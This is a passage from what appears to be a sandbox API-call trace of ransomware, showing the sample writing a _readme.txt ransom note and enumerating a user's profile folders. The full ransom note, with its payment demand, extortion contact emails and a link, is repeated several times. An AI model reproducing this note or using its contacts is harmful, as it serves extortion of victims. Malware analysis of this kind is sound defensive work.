you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac4a28 [0111.646] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0111.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8c0) returned 0x7b13900 [0111.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x85d) returned 0x7b141c8 [0111.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b141c8, cbMultiByte=2141, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 1118 [0111.647] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b1cfe8 [0111.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b141c8 | out: hHeap=0x5010000) returned 1 [0111.647] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.648] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned 1117 [0111.648] WriteFile (in: hFile=0x618, lpBuffer=0x7b1cfe8*, nNumberOfBytesToWrite=0x45d, lpNumberOfBytesWritten=0x825fb64, lpOverlapped=0x0 | out: lpBuffer=0x7b1cfe8*, lpNumberOfBytesWritten=0x825fb64*=0x45d, lpOverlapped=0x0) returned 1 [0111.648] CloseHandle (hObject=0x618) returned 1 [0111.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b1cfe8 | out: hHeap=0x5010000) returned 1 [0111.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1afa0 [0111.649] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdaf043c0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xdaf043c0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1afa0 | out: hHeap=0x5010000) returned 1 [0111.649] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdaf043c0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xdaf043c0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.649] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0111.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d4f8 [0111.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d4a0 [0111.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x1c) returned 0x7a35c90 [0111.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d448 [0111.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d4a0 | out: hHeap=0x5010000) returned 1 [0111.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d4f8 | out: hHeap=0x5010000) returned 1 [0111.649] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0111.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0111.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0111.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x38) returned 0x7a427e0 [0111.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d4f8 [0111.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d448 | out: hHeap=0x5010000) returned 1 [0111.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0111.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0111.649] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0111.649] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0111.649] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d448 [0111.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d4a0 [0111.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x54) returned 0x7a31720 [0111.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0111.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d4f8 | out: hHeap=0x5010000) returned 1 [0111.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0111.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a427e0 | out: hHeap=0x5010000) returned 1 [0111.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d4f8 [0111.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d4a0 | out: hHeap=0x5010000) returned 1 [0111.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d448 | out: hHeap=0x5010000) returned 1 [0111.650] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0111.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d448 [0111.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d4a0 [0111.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48150 [0111.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d600 [0111.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0111.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d658 [0111.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0111.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d4f8 | out: hHeap=0x5010000) returned 1 [0111.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a31720 | out: hHeap=0x5010000) returned 1 [0111.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d4f8 [0111.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d4a0 | out: hHeap=0x5010000) returned 1 [0111.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d448 | out: hHeap=0x5010000) returned 1 [0111.650] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa26f0e00, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xa26f0e00, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0111.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d448 [0111.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d4a0 [0111.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa8) returned 0x79ab798 [0111.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0111.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d6b0 [0111.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d708 [0111.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d600 | out: hHeap=0x5010000) returned 1 [0111.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0111.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d658 | out: hHeap=0x5010000) returned 1 [0111.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d4f8 | out: hHeap=0x5010000) returned 1 [0111.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48150 | out: hHeap=0x5010000) returned 1 [0111.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d4f8 [0111.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d4a0 | out: hHeap=0x5010000) returned 1 [0111.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d448 | out: hHeap=0x5010000) returned 1 [0111.651] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9be34600, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9be34600, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0111.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d448 [0111.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x76) returned 0x50fb750 [0111.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d448 | out: hHeap=0x5010000) returned 1 [0111.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0111.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0111.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0111.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0111.651] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0111.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d448 [0111.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x76) returned 0x50fb750 [0111.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d448 | out: hHeap=0x5010000) returned 1 [0111.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0111.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xfc) returned 0x50f5608 [0111.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d448 [0111.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0111.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d4a0 [0111.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d658 [0111.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d600 [0111.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0111.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0111.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d6b0 | out: hHeap=0x5010000) returned 1 [0111.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d708 | out: hHeap=0x5010000) returned 1 [0111.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d4f8 | out: hHeap=0x5010000) returned 1 [0111.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0111.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0111.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0111.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0111.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0111.652] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0111.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d4f8 [0111.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x76) returned 0x50fb750 [0111.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d4f8 | out: hHeap=0x5010000) returned 1 [0111.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0111.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0111.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0111.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0111.652] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0111.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d4f8 [0111.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d708 [0111.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d6b0 [0111.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d708 | out: hHeap=0x5010000) returned 1 [0111.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d4f8 | out: hHeap=0x5010000) returned 1 [0111.652] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0111.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0111.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c320 [0111.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x16c) returned 0x7a617c0 [0111.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d4f8 [0111.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x7b152f8 [0111.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d708 [0111.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0111.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d760 [0111.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x7b15360 [0111.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x7b153c8 [0111.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x7b15430 [0111.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d7b8 [0111.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d448 | out: hHeap=0x5010000) returned 1 [0111.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0111.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d4a0 | out: hHeap=0x5010000) returned 1 [0111.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d658 | out: hHeap=0x5010000) returned 1 [0111.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d600 | out: hHeap=0x5010000) returned 1 [0111.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0111.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0111.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0111.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d6b0 | out: hHeap=0x5010000) returned 1 [0111.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50f5608 | out: hHeap=0x5010000) returned 1 [0111.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0111.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c320 | out: hHeap=0x5010000) returned 1 [0111.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0111.653] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9bea6a20, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9bea6a20, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0111.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d6b0 [0111.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d600 [0111.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d658 [0111.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d600 | out: hHeap=0x5010000) returned 1 [0111.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d6b0 | out: hHeap=0x5010000) returned 1 [0111.653] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, 